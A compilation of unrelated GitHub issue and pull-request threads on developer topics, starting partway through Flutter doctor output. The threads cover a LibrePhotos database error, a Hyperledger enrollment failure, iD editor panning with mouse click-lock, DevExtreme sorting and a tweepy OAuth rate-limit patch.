    • Java binary at: /Applications/Android Studio 2.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.8+10-b944.6916264)
    ✗ Android license status unknown.
      Run `flutter doctor --android-licenses` to accept the SDK licenses.
      See https://flutter.dev/docs/get-started/install/macos#android-setup for more details.

[✓] Xcode - develop for iOS and macOS
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 12.4, Build version 12D4e
    • CocoaPods version 1.10.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 4.2)
    • Android Studio at /Applications/Android Studio 2.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.8+10-b944.6916264)

[✓] Connected device (2 available)
    • iPod touch (7th generation) (mobile) • 139844B3-7257-4943-B1DD-A1EBF221BBA7 • ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-4 (simulator)
    • Chrome (web)                         • chrome                               • web-javascript • Google Chrome 93.0.4577.63
    ! Error: Admin’s iPhone is not connected. Xcode will continue when Admin’s iPhone is connected. (code -13)

! Doctor found issues in 1 category.

Flutter Application Metadata
Type: app
Version: 1.0.0+1
Material: true
Android X: false
Module: false
Plugin: false
Android package: null
iOS bundle identifier: null
Creation channel: stable
Creation framework version: f4abaa0735eba4dfd8f33f73363911d63931fe03
Plugins
agora_rtc_engine-3.4.6
android_intent-0.3.7+7
firebase_auth-0.16.1
firebase_auth_web-0.1.3+1
firebase_core-0.4.5
firebase_core_web-0.1.1+2
firebase_crashlytics-0.1.4+1
firebase_database-3.1.6
firebase_messaging-6.0.16
flutter_local_notifications-4.0.1+2
flutter_plugin_android_lifecycle-1.0.11
flutter_webview_plugin-0.3.11
fluttertoast-8.0.8
geocoder-0.2.1
geolocator-5.3.2+2
google_api_availability-2.0.4
google_maps_flutter-0.5.33
google_sign_in-4.5.9
google_sign_in_web-0.9.2
location-3.2.4
location_permissions-3.0.0+1
location_web-1.0.1
path_provider-1.6.28
path_provider_linux-0.0.1+2
path_provider_macos-0.0.4+8
path_provider_windows-0.0.5
permission_handler-5.1.0+2
shared_preferences-0.5.12+4
shared_preferences_linux-0.0.2+4
shared_preferences_macos-0.0.1+11
shared_preferences_web-0.1.2+7
shared_preferences_windows-0.0.2+3
sqflite-2.0.0+4
url_launcher-5.7.10
url_launcher_linux-0.0.1+4
url_launcher_macos-0.0.1+9
url_launcher_web-0.1.5+3
url_launcher_windows-0.0.1+3
webview_flutter-2.0.12

Closing this as duplicate of https://github.com/flutter/flutter/issues/47633


Bed-4851 OIDC API Provider Registration

Description
Modify the previously merged OIDC provider registration endpoint to support the new slug formatting, new sso_provider table, and move the URL to a new location to prevent collisions with existing endpoints.
Motivation and Context
After our syncs on 09/27 and 09/30, we decided to make some changes to the last PR in order to better support an agnostic API for both oidc & saml providers.
This PR addresses: BED-4766
How Has This Been Tested?
just bh-dev to start up BHCE and ensure the migrations ran

Verified a 201 response and that the data was inserted into the database with the correct formatting and referencing:

Screenshots (optional):
Types of changes

New feature (non-breaking change which adds functionality)
Database Migrations

Checklist:

[x] I have met the contributing prerequisites

Assigned myself to this PR
Added the appropriate labels
Associated an issue: https://github.com/SpecterOps/BloodHound/issues/672
Read the Contributing guide: https://github.com/SpecterOps/BloodHound/wiki/Contributing

[x] I have ensured that related documentation is up-to-date

Open API docs
Code comments (GoDocs / JSDocs)

[x] I have followed proper test practices

Added/updated tests to cover my changes
All new and existing tests passed

Did we want to also update the SAML create db op with a tx for creating SSO in this PR or wait for another one?
We still need to update the users table as well I think. Might be able to swap to sso_id vs 2 separate columns 🤔 That's likely worth a full separate PR

I was thinking another ticket, but there's no harm in throwing it in here as well while it's fresh in our minds


Implemented CustomSortCompilers

Adding ability to create custom sort expressions

Hello
Thanks for your input.
Have you considered alternative approaches? For example, you can add an additional Priority property. Whenever sorting by Name is requested, you can insert a pre-sort by Priority as shown below:
var loadOptions = new DataSourceLoadOptionsBase
{
    Sort = new[] {
        new SortingInfo { Selector = "Name", Desc = false }
    }
};

// your controller starts

var nameSorting = loadOptions.Sort?.FirstOrDefault(i => i.Selector == "Name");
if (nameSorting != null)
{
    var newSorting = new List<SortingInfo>(loadOptions.Sort);
    newSorting.Insert(0, new SortingInfo { Selector = "Priority", Desc = !nameSorting.Desc });
    loadOptions.Sort = newSorting.ToArray();
}

I think it is easier that dealing with LINQ expressions trees.

Actually I use that approach in my current project. But it has one drawback - it requires adding of additional properties to models (like "Priority")

No problem. The property can be a custom accessor:
DevExtreme.AspNet.Data.Helpers.CustomAccessorCompilers.Register((expr, accessorText) => {
    if (expr.Type == typeof(Product) && accessorText == "Priority") {
        return Expression.Condition(
            Expression.Equal(
                Expression.PropertyOrField(expr, "Name"),
                Expression.Constant("Lightsaber")
            ),
            Expression.Constant(2),
            Expression.Constant(1)
        );
    }
    return null;
});

Yeah, it is good idea. Unfortunately I found another big disadvantage of this approach - it doesn't work well with grouping.
In my current application I was needed to re-sort groups from LoadResult to achieve required sorting order.

Indeed, RemoteGroupExpressionCompiler adds OrderBy on its own.
Consider another idea then:
DevExtreme.AspNet.Data.Helpers.CustomAccessorCompilers.Register((expr, accessorText) => {
    if(String.Equals(accessorText, "ShipCountry", StringComparison.InvariantCultureIgnoreCase)) {
        var concatMethod = typeof(String).GetMethod("Concat", new[] { typeof(String), typeof(String) });
        var propValue = Expression.PropertyOrField(expr, "ShipCountry");
        return Expression.Condition(
            Expression.Equal(
                propValue,
                Expression.Constant("USA")
            ),
            Expression.Call(concatMethod, Expression.Constant("0 "), propValue),
            Expression.Call(concatMethod, Expression.Constant("1 "), propValue)
        );
    }
    return null;
});

SQL:
exec sp_executesql N'SELECT TOP(@__p_0) ...
FROM [Orders] AS [o]
ORDER BY CASE
    WHEN [o].[ShipCountry] = N''USA'' THEN N''0 '' + [o].[ShipCountry]
    ELSE N''1 '' + [o].[ShipCountry]
END, [o].[OrderID]',N'@__p_0 int',@__p_0=20

You might need to make this a custom accessor, too, and rewrite the property name only in Sort and Group parts of the load options, so that the change does not affect filter and display text.

Your last solution doesn't look good. Instead of having one place where we can define new sorting logic, it requires changes in three places - 1) create new accessor, 2) modify input sorting order by adding new field, 3) remove additional characters from group key that will be used on UI

I apologize for the misunderstanding. I decided that the suggested solution worked well because you didn't leave any comments since my last reply. Please clarify whether or not the approach actually works and allows you to implement the logic required by your app.
Also, please let me know if you plan to continue working on this pull request. In https://github.com/DevExpress/DevExtreme.AspNet.Data/pull/455#issuecomment-722377337, you correctly noticed that SortExpressionCompiler has no effect on grouping, so we cannot merge the patch in its current form.


Selection is easily lost when panning using click-lock mechanism of certain mouse drivers

Hi,
(just copied from https://github.com/openstreetmap/iD/issues/7826#issuecomment-712230444)
Each time, I move the whole map scene a little bit by pressing and dragging some point beyond any map object, the selection of the object recently selected (mostly some kind of highway / track) is lost. So I must reselect it after each map scene moving. Is it possible to preserve the selection in this case (like older Id versions did)?
BR
tkansgar

@tkansgar This is the behavior I'm seeing:

Select something
Click and hold the map for a time
The paste menu appears and the selection is cleared
Drag the map and release the mouse
The selection is still cleared

So the solution would be not to clear the selection, or at least to reselect after dragging the map.

Yes, that would be great! No matter, wether you don't clear the selection or you reselect it.

Hi quincylvania,
currently https://preview.ideditor.com/release/ isn't accessable (s.a. #9289). And this issue seems to be not resolved until now. Therefore I have difficulties to use iD currently. So I would be very grateful, if either this issue could be resolved or https://preview.ideditor.com/release/ could be accessable again.
BR
tkansgar

I have some proposals to resolve this issue:

The only entry of that popup appearing when holding down the mouse button too long without dragging is always disabled. So this popup isn't useful anyway. Why not supressing its apearance (and not clearing the selection) in this case?
Could there be a setting in the settings tab to disable the automatic appearance of the popup and only display it on right click like in older iD versions?
The timeout for the automatic appearance of the popup is very short. Could it be made a little bit longer?

One of these three solutions would be enough for me.

Hi, is there nobody, who can resolve this issue or make https://preview.ideditor.com/release/ accessible again?

Hi, is there nobody, who can resolve this issue or make https://preview.ideditor.com/release/ accessible again?

This is now available again, see https://github.com/openstreetmap/iD/issues/9289#issuecomment-1249301600

Many thanks @tyrasd! Works again.

You can try out older versions of iD on the following test page: https://id.raifer.tech/sotm-2022/
But it won't help you much, I'm afraid, as these are limited to the development "test" OSM API, and don't modify the actual OSM database. This is for a good reason, as old versions of iD may contain bugs and use outdated data such as presets.
Regarding the bug you encountered: I can confirm the problem, but unfortunately it is not an "easy fix". Can you not, as a workaround until this is fixed, just try to move your mouse a bit quicker after pressing the left mouse button, to prevent that the context menu doesn't get opened in the first place?

menu when holding down the left mouse button a (very) short time?

btw: what do you mean by a "short time" here? In my tests, it took about a second for the context menu to open on long press. Is it a shorter time on your system?

You can try out older versions of iD on the following test page: https://id.raifer.tech/sotm-2022/ . But it won't help you much, I'm afraid, as these are limited to the development "test" OSM API, and don't modify the actual OSM database. This is for a good reason, as old versions of iD may contain bugs and use outdated data such as presets.

Of course, I use iD to modify the actual OSM database. So those versions won't help.

Regarding the bug you encountered: I can confirm the problem, but unfortunately it is not an "easy fix". Can you not, as a workaround until this is fixed, just try to move your mouse a bit quicker after pressing the left mouse button, to prevent that the context menu gets opened in the first place?

That I'm just trying. But it's working more badly than well for me, since I'm using the click lock feature of the mouse driver (as I wrote already in #7826). When pressing the left mouse button I have to wait about 0.1 or 0.2 seconds, until the mouse press is locked. Then I have only about more 0.1 or 0.2 seconds to begin the move operation, so that the menu doesn't appear and the selected object remains selected. In most cases this does not succeed. Additionally to use the click lock feature I have to release the mouse button after beginning the move operation. If I release it before the move opration, the selection also is lost. So preserving the selection when moving the map scene is very difficult for me. The best solution for me would be to be able to switch off the automatic appearance of the poup menu.

Thanks for giving the context. I've added this detail to the title of this issue.
Can you maybe explain why you are preferring to use the click-lock mechanism while mapping? I'm personally not using it and am currently struggling to understand why you could not "just" fall back to use the regular "holding the mouse button down the whole time while panning the map" method in situations where you want to preserve the selection…

Hi @tyrasd, yes I can. I'm using the mouse daily more than 10 hours, because I'm a professional software developer and use the PC also for my hobbies. And frequent mouse moving with holding down a button leaded to diseases like typewriter's cramp and mouse elbow (a variant of tennis elbow). One action to get rid of them was to use the click lock feature, so that I can release the button when dragging objects on the screen. Another action was to buy and use a vertical mouse, and last but not least I switch between right and left hand mice. The procedure pressing the button, waiting 0.2 or 0.3 seconds, releasing it, moving the mouse and finally clicking at the target position my finger does automatically. I don't need to concentrate on this. And when working with iD, I do it multiple hundred times to pan the map. But losing the selection nearly each time is very annoying.

Hi @tyrasd, can you say, whether and when this issue will be fixed?

My current idea is to add a setting to disable the long-click behavior in the next version, which is scheduled to be released in a few weeks (maybe towards the end of the month or so).

OK, but what do you mean by "to disable the long-click behavior"? I hope, you will disable the appearance of the popup menu (and preserve the current selection) then. And not disable the possibility to pan the map scene by using the click lock feature!

Sorry, I should have been more precise: I meant that the setting would disable the appearance of the menu on long-click.

If I’m not mistaken, the long-click behavior was originally added to support touchscreen devices – it’s the only way to access the context menu when using a stylus, for example. Perhaps there’s a way to detect touchscreen devices and only enable the setting by default in that case? (It’s similar to a behavior that used to be common on the Mac until about 2005.)

the long-click behavior was originally added to support touchscreen devices

That's right (see https://github.com/openstreetmap/iD/issues/7577#issuecomment-626377634)
I've given this a second look and found an actually pretty simple way to only open the context menu on long presses of non-mouse devices (i.e. touch or stylus users). Mouse users who cannot use a right click to open the context menu (for whatever reason) can still fall back to using the menu key or long pressing the space bar.
@tkansgar can you please confirm that the development version on https://ideditor.netlify.app/ now works for your use case?

@tyrasd: Perfect for me! I hope, no one else will miss the automatically displayed menu now.


Mix not working with latest Vue, which we auto-update to (vue-template-compiler mismatch)

Laravel Mix Version: 0.8.7
Node Version (node -v): 7.6
NPM Version (npm -v): 4.2
OS: MacOS Sierra

Description:
With Laravel's default package.json, we auto-update to Vue 2.2.1 when you use "npm update". However, this version of Vue is incompatible with vue-template-compiler 2.1.10, which Mix uses. This means we get an error and cannot compile our assets.
Steps To Reproduce:

npm update
npm run dev

I solved this issue for me by removing laravel-mix and reinstalling it. Probably because it then gets the newer version of the dependency vue-template-compiler? This is probably still going to confuse some people.

Thanks - I'll think about how to make that more clear.

@JeffreyWay any updated on this? It will be very helpful
sorry to bother you

Any updates? Just updated Vue to 2.4.2 and now here is conflictes with<EMAIL_ADDRESS>It's stuped, because I updated vue-tamplate-compiler globally, I updated it locally for laravel-mix... I deleted node_modules and re-installed them... nothing, all the time the same error... where you hardcoded it? How to fix it?


Remove Legacy SDK V2

Closes #649

Yea. I moved everything to regular dependencies since there were too many cases where it's not really clear which type it should. The dependency types have no impact on what we publish, so it seemed like it made more sense to have them in one list instead of two.


Rename readme.txt to readme.md

Hi, the README had a .txt extension so the markdown wasn't displayed correctly.
Have a nice day.

It turns out WordPress don't want any .md file extensions on their README's: plugin devs handbook
That's just how they want it. ¯\_ (ツ) _/¯


Temporary failure in name resolution

🐛 Bug Report

[x] 📁 I've Included a ZIP file containing my librephotos log files
[x] ❌ I have looked for similar issues (including closed ones)
[x] 🎬 (If applicable) I've provided pictures or links to videos that clearly demonstrate the issue

📝 Description of issue:
I have migrated my librephotos setup to a new machine and I am now getting this error on startup in the backend service:
backend  | Traceback (most recent call last):
backend  |   File "/usr/lib/python3.12/multiprocessing/process.py", line 314, in _bootstrap
backend  |     self.run()
backend  |   File "/usr/lib/python3.12/multiprocessing/process.py", line 108, in run
backend  |     self._target(*self._args, **self._kwargs)
backend  |   File "/usr/local/lib/python3.12/dist-packages/django_q/cluster.py", line 142, in __init__
backend  |     self.broker = broker or get_broker()
backend  |                             ^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/django_q/brokers/__init__.py", line 193, in get_broker
backend  |     return orm.ORM(list_key=list_key)
backend  |            ^^^^^^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/django_q/brokers/__init__.py", line 13, in __init__
backend  |     self.connection = self.get_connection(list_key)
backend  |                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/django_q/brokers/orm.py", line 20, in get_connection
backend  |     if transaction.get_autocommit(
backend  |        ^^^^^^^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/db/transaction.py", line 30, in get_autocommit
backend  |     return get_connection(using).get_autocommit()
backend  |            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/db/backends/base/base.py", line 464, in get_autocommit
backend  |     self.ensure_connection()
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/utils/asyncio.py", line 26, in inner
backend  |     return func(*args, **kwargs)
backend  |            ^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/db/backends/base/base.py", line 288, in ensure_connection
backend  |     with self.wrap_database_errors:
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/db/utils.py", line 91, in __exit__
backend  |     raise dj_exc_value.with_traceback(traceback) from exc_value
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/db/backends/base/base.py", line 289, in ensure_connection
backend  |     self.connect()
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/utils/asyncio.py", line 26, in inner
backend  |     return func(*args, **kwargs)
backend  |            ^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/db/backends/base/base.py", line 270, in connect
backend  |     self.connection = self.get_new_connection(conn_params)
backend  |                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/utils/asyncio.py", line 26, in inner
backend  |     return func(*args, **kwargs)
backend  |            ^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/django/db/backends/postgresql/base.py", line 275, in get_new_connection
backend  |     connection = self.Database.connect(**conn_params)
backend  |                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/psycopg/connection.py", line 98, in connect
backend  |     attempts = conninfo_attempts(params)
backend  |                ^^^^^^^^^^^^^^^^^^^^^^^^^
backend  |   File "/usr/local/lib/python3.12/dist-packages/psycopg/_conninfo_attempts.py", line 50, in conninfo_attempts
backend  |     raise e.OperationalError(str(last_exc))
backend  | django.db.utils.OperationalError: [Errno -3] Temporary failure in name resolution

it is not clear what it fails to connect to so i could troubleshoot it any futher
Please provide additional information:

💻 Operating system: Ubuntu 20.4
⚙ Architecture (x86 or ARM):  x86
🔢 Librephotos version: reallibrephotos/librephotos:dev
📸 Librephotos installation method (Docker, Kubernetes, .deb, etc.): Docker

🐋 If Docker or Kubernets, provide docker-compose image tag: reallibrephotos/librephotos:dev

📁 How is you picture library mounted (Local file system (Type), NFS, SMB, etc.): Local file system

It can't connect to Postgres. Do you have any steps for reproduction?

hm it might have been something to do with my new docker compose stack. I believe it is fixed now


Can not read metaData from Delta Live Tables full-refreshed

DeltaKernel can not read a Delta table managed by Delta Live Tables (DLT) after full-refresh.
(can read before  full-refresh)
error message
IO Error: Hit DeltaKernel FFI error (from: While trying to read from delta table: 's3://databricks-workspace-bucket/unity-catalog/__unitystorage/schemas/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/tables/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/'): Hit error: 2 (ArrowError) with message (Json error: whilst decoding field 'metaData': Encountered unmasked nulls in non-nullable StructArray child: Field { name: "schemaString", data_type: Utf8, nullable: false, dict_id: 0, dict_is_ordered: false, metadata: {} })

I checked _delta_log/ directory, metaData is exist.
Env

Python 3.12
DuckDB v1.1.2

I think this is related? https://github.com/duckdb/duckdb_delta/issues/96

Hi @mats16 @samansmink is this still an issue?

@zachschuermann I'm not really sure how to reproduce this tbh

I vaguely remember running into this before: something like DLT doesn't write schemaString? But that should really be fixed upstream instead of us trying to cope with something that's required that isn't there..


finalize admin only pages-- create separate admin component folder for all users, modify products

FRONT END

[x] only admin should be able to modify products

[x]  add
[ ] edit
[x] remove

[x] only admin can see all users
[x] only admin can see all orders

BACK END

[ ] Only admins should have access to the api route for all users
[ ] Only admins should have access to the api POST and DELETE routes for products
[ ] Users cannot make themselves an admin through the user signup route

Didn't make an admin folder because all files already existed in user folder.


[IMPROVEMENT] Bringing the sound controls to the top right

Improvement: The sound controls option in main.html is at the bottom of the page and requires the user to scroll down and search for the controls. It would be more user friendly to place the sound controls at the top of the page (preferably on top right)
As the music is automatically turned on when we land into main.html, it might be uncomfortable if the sound controls are placed somewhere below and are not readily available to turn off or reduce volume when the user is in a public place.
If this improvement is relevant, I would love to work on this issue

Here are the screen shots of the sound controls I was referring to.

are you suggestin to have a no music button instead of a volume-slider
also that havin a volume slider on the top right corner would look enormous and further not good in a mobile browser

I was suggesting this improvement only for desktop view, the volume slider might not be required in a mobile view.
For desktops volume controls aren't as accessible as in a smartphone. So, its good to make it easily accessible on the website, in my opinion.

The issue is positioning, I am not sure if this can be implemented without leading to difficult bugs

@sreevyshnavi02 You are making a good point that if the user is in a public place and the sound starts playing suddenly when the main game is started, it makes them irritated. Can we instead make the music volume zero when starting the app?

Because the position of the volume slider is not a big one I think, but the sudden starting of music does ruin the experience. So making the music volume zero by default can be a good idea. What do you all think? @vikaskumar2703 @sreevyshnavi02

Because the position of the volume slider is not a big one I think, but the sudden starting of music does ruin the experience. So making the music volume zero by default can be a good idea. What do you all think? @vikaskumar2703 @sreevyshnavi02

Maybe we can just ask the user whether they want to enable sound before playing it. If that's done, we don't have change the position of the volume control.

@sreevyshnavi02

Maybe we can just ask the user whether they want to enable sound before playing it. If that's done, we don't have change the position of the volume control.

Nope that will be unnecessary actually. Asking the user this small thing which doesn't even matter much is pretty senseless. I think keeping the audio muted / volume zero by default will be the best solution

@sreevyshnavi02 Would you like to work on this issue? If yes, then please change the title of issue to "Volume Zero by default" and tell me if you want to get assigned for this.

@prakhartiwari0
Yeah, I will work on it. You may assign to me.

Sure Go Ahead!


Detecting Skin Lesions with YOLOv11 - 47450253

Author: Samuel Bond-Murphy
Student ID: 47450253
Using YOLOv11 to detect skin lesions in the ISIC 2018 dataset.
This pull request implements a solution to problem 3: "Detect lesions within the ISIC 2017/8 data set with YOLOv7 or newer".
This implementation makes use of a pretrained YOLOv11 model, due to its significant improvements in small and obscured object detection to achieve a Precision of 0.965 and Recall of 0.939 on the test dataset with an IOU threshold of 0.8 through further training and tweaks to hyperparameters.
Information on how to import the dataset and run the model can be found in the README.md, in addition to information regarding the model architecture, training and predictions.
Dependencies

PyTorch 2.5.1+cu124
Torchvision 0.20.1+cu124
Ultralytics 8.3.24
opencv-python <IP_ADDRESS>

This is an initial inspection
Difficulty : Normal
Task : 3

Recognition Problem:

code structure is ok
missing train.py missing

Commit Log:

Commit message are ok
Commits are not progressive and done in 2 days

Documentation:
README looks good but

do not have a section of "Reproducibility" stating how can someone else can reproduce the results and run the model to achieve same results

Pull Request

PR can be better

Feedback:

PR can be better and more detailed then what you have now
add a section of "Reproducibility" stating how can someone else can reproduce the results and run the model to achieve same results

Observational Feedback
Pull Request:
Correctly created the Pull request from Topic Recognition  Branch .
The pull request  should include a clear description about the file structure .
No previous feedback incorporated .
File Organizing: Well-organized files.
Commit Log:
Commit messages are progressive for the Recognition Problem solved using 4 files .
Commits are not regularly made showing no logical development and completed within 2 days
Documentation:
Code comments and docstrings are included.
Proper GitHub markdown formatting is used, with organized headings, lists, and code blocks.
Should add about Conclusion and future improvements in the ReadMe.

I have implemented the feedback regarding changes to the README, for changes to the PR itself should I just directly edit the pull request, or should I do it in some other way so there is still evidence of the original PR?
Thanks.

Marking

Good/OK/Fair Practice (Design/Commenting, TF/Torch Usage)
Good design and implementation.
Spacing and comments.
No Header blocks. -1
Recognition Problem
Good solution to problem.
Driver Script NOT present. No train.py-1
File structure present.
Good Usage & Demo & Visualisation & Data usage.
Module present.
Commenting missing. Minimal.-1
No Data leakage found. Has Data splits.
Difficulty : Normal. YOLO (Normal Difficulty)-5
Commit Log
Good Meaningful commit messages.
Some/Adequate Progressive commits. Over 2 days only.-1
Documentation
Readme :Acceptable. -1
Model/technical explanation :Good.
Description and Comments :Good.
Markdown used and PDF submitted. PDF Checked.
Pull Request
Pull Request has problems: Late submission.-2
No Feedback required.
Request Description is adequate. -1
TOTAL-13

Marked as per the due date and changes after which aren't necessarily allowed to contribute to grade for fairness.
Subject to approval from Shakes

Marking
Good/OK/Fair Practice (Design/Commenting, TF/Torch Usage)
Good design and implementation.
Spacing and comments.
No Header blocks.	-1
Recognition Problem
Good solution to problem.
Driver Script NOT present. No train.py	-1
File structure present.
Good Usage & Demo & Visualisation & Data usage.
Module present.
Commenting missing. Minimal.	-1
No Data leakage found. Has Data splits.
Difficulty : Normal. YOLO (Normal Difficulty)	-5
Commit Log
Good Meaningful commit messages.
Some/Adequate Progressive commits. Over 2 days only.	-1
Documentation
Readme :Acceptable.	-1
Model/technical explanation :Good.
Description and Comments :Good.
Markdown used and PDF submitted. PDF Checked.
Pull Request
Pull Request has problems: Late submission.	-2
No Feedback required.
Request Description is adequate.	-1
TOTAL	-13
Marked as per the due date and changes after which aren't necessarily allowed to contribute to grade for fairness. Subject to approval from Shakes

Could I please have an explanation about "Driver Script NOT present. No train.py"? train.py exists in the repository.
Also late submission of the pull request was due to an approved extension, was that just a comment or am I being marked down for this?
The changes after were the feedback implementation, I thought that was how that was meant to be done? We have received basically no explanation on how we are meant to do this with several posts on ed regarding this topic with no response.

Late submission -8 (2 days). Email me with evidence to restore if you have an extension.

Approved extension +2


Stack parse tests

update parse tests to have all completed with structure referenced included networks and volumes ones
test: make test
PR#355 to be merged first

LGTM


PageSelector sends two create operations

PageSelector creates a CollectionView whose _create method is called twice, once by the constructor of CollectionView, once by the constructor of PageSelector.

The type PageSelector has been removed in 2.0.


Failed to run demo using local network, Error: failed to enroll registrar: Identity or token does not match

I set up a network with 4 peers and a CA as described here (https://github.com/IBM-Blockchain/cp-web/blob/master/docs/use_local_hyperledger.md). I verified that the network is running by checking all 4 HTTP chain network endpoints, which gave responses similar to the one in the link above, i.e. the responses all containws "height": 1
Next, I followed "Option 2: Use a locally hosted Hyperledger Network (such as one from docker-compose)" under Getting Started section. I'm using Docker for Mac for the peers and CA. I did try running the demo again from scratch, i.e. removing all docker containers and images, removing cp-web, running docker-compose with four-peer-ca.yaml, cloning cp-web, running npm install and gulp. I still got the same error message.
Would anyone know how to resolve this error? Any tips are appreciated.
mycreds.json is given below:
{
"credentials": {
"peers": [
{
"discovery_host": "localhost",
"discovery_port": "7051",
"api_host": "localhost",
"api_port": 7051,
"type": "peer",
"id": "vp0"
},
{
"discovery_host": "localhost",
"discovery_port": "8051",
"api_host": "localhost",
"api_port": 8051,
"type": "peer",
"id": "vp1"
},
{
"discovery_host": "localhost",
"discovery_port": "9051",
"api_host": "localhost",
"api_port": 9051,
"type": "peer",
"id": "vp2"
},
{
"discovery_host": "localhost",
"discovery_port": "10051",
"api_host": "localhost",
"api_port": 10051,
"type": "peer",
"id": "vp3"
}
],
"ca": {
"sub-ca": {
"url": "localhost:7054",
"discovery_host": "localhost",
"discovery_port": "7054",
"api_host": "localhost",
"api_port": 7054,
"type": "ca",
"newUsersObj": [
{
"enrollId": "WebAppAdmin",
"enrollSecret": "DJY27pEnl16d",
"group": "1",
"affiliation": "institution_a",
"username": "WebAppAdmin",
"secret": "DJY27pEnl16d"
}
]
}
},
"users": [
{
"username": "WebAppAdmin",
"secret": "DJY27pEnl16d",
"enrollId": "WebAppAdmin",
"enrollSecret": "DJY27pEnl16d"
}
],
"cert": "https://blockchain-certs.mybluemix.net/us.blockchain.ibm.com.cert"
}
}
I get the error message below:
chain_setup.js Getting registrar: WebAppAdmin
app.js: Server Up - localhost:3000
chain_setup.js successfully got registrar. Enrolling with secret: DJY27pEnl16d
hfc Enrolling [req={"enrollmentID":"WebAppAdmin","enrollmentSecret":"DJY27pEnl16d"}] +0ms
hfc [MemberServicesImpl.enroll] [{"enrollmentID":"WebAppAdmin","enrollmentSecret":"DJY27pEnl16d"}] +1ms
hfc [MemberServicesImpl.enroll] Generating keys... +1ms
hfc [MemberServicesImpl.enroll] Generating keys...done! +75ms
hfc [MemberServicesImpl.enroll] Generating request! "3059301306072a8648ce3d020106082a8648ce3d0301070342000403d765a50d9dc684b9ad43c7e817ca1150fb6a493c8290fe1fa2daf45322f56034b1fa668bdf8db89856421620ec230e3e1d44036f11cdf860385aff22aae812" +3ms
hfc [MemberServicesImpl.enroll] Adding signing key! +0ms
hfc [MemberServicesImpl.enroll] Assding encryption key! +0ms
hfc [MemberServicesImpl.enroll] [Contact ECA] {"ts":{"seconds":{"low":1483896021,"high":0,"unsigned":false},"nanos":0},"id":{"id":"WebAppAdmin"},"tok":{"tok":{"buffer":{"type":"Buffer","data":[68,74,89,50,55,112,69,110,108,49,54,100]},"offset":0,"markedOffset":-1,"limit":12,"littleEndian":false,"noAssert":false}},"sign":{"type":0,"key":{"buffer":{"type":"Buffer","data":[48,89,48,19,6,7,42,134,72,206,61,2,1,6,8,42,134,72,206,61,3,1,7,3,66,0,4,3,215,101,165,13,157,198,132,185,173,67,199,232,23,202,17,80,251,106,73,60,130,144,254,31,162,218,244,83,34,245,96,52,177,250,102,139,223,141,184,152,86,66,22,32,236,35,14,62,29,68,3,111,17,205,248,96,56,90,255,34,170,232,18]},"offset":0,"markedOffset":-1,"limit":91,"littleEndian":false,"noAssert":false}},"enc":{"type":0,"key":{"buffer":{"type":"Buffer","data":[48,89,48,19,6,7,42,134,72,206,61,2,1,6,8,42,134,72,206,61,3,1,7,3,66,0,4,145,54,229,125,14,44,169,0,109,25,222,136,169,170,154,235,250,194,31,195,117,147,197,201,51,108,174,232,176,6,131,175,229,166,88,152,115,96,76,190,70,83,244,53,110,181,199,22,64,145,214,236,48,247,32,103,218,39,31,5,229,60,252,201]},"offset":0,"markedOffset":-1,"limit":91,"littleEndian":false,"noAssert":false}},"sig":null}  +0ms
hfc [MemberServicesImpl.enroll] failed to create cert pair: err={"code":2,"metadata":{"_internal_repr":{}}} +9ms
hfc [memberServices.enroll] err=Error: Identity or token does not match., enrollment=undefined +0ms
chain_setup.js failed to enroll registrar: Identity or token does not match.
chain_setup.js couldn't configure the network
app.js: Chain setup failed: { Error: Identity or token does not match.
at /.../cp-web/node_modules/grpc/src/node/src/client.js:417:17 code: 2, metadata: Metadata { _internal_repr: {} } }
/.../cp-web/app.js:225
throw error;
^
Error: Identity or token does not match.
at /.../cp-web/node_modules/grpc/src/node/src/client.js:417:17

Did you solve the problem? I got the same one ..

I was helping someone with this this weekend. It seems the first time it deploys fine, but on any change and redeploy it has the wrong mycreds.json information or is not reading the environment details correctly. Reproduction steps: deploy sample app with the deploy to bluemix. Works fine. Make any modifiction to the app and redeploy, get this error.


Patch in access to the OAuth rate limit status

Since the limit for OAuth requests is currently at 350 per hour and authenticated requests don't count against the normal rate_limit_status api, there should be a way to access the OAuth limit.
The information gets send with the header of every response on an authenticated call:
x-ratelimit-class = "api_identified"
x-ratelimit-limit = The current maximum of request per hour.
x-ratelimit-remaining = The requests remaining till the reset.
x-ratelimit-reset = UNIX timestamp as seconds when the next reset will occur.
I already patched this into api.py and binder.py:
http://github.com/BonsaiDen/tweepy/commit/cf0b4068e3e882498619d897d51462de91ca7e4e
May need some changes to the variable names, but besides that it should be OK I guess.

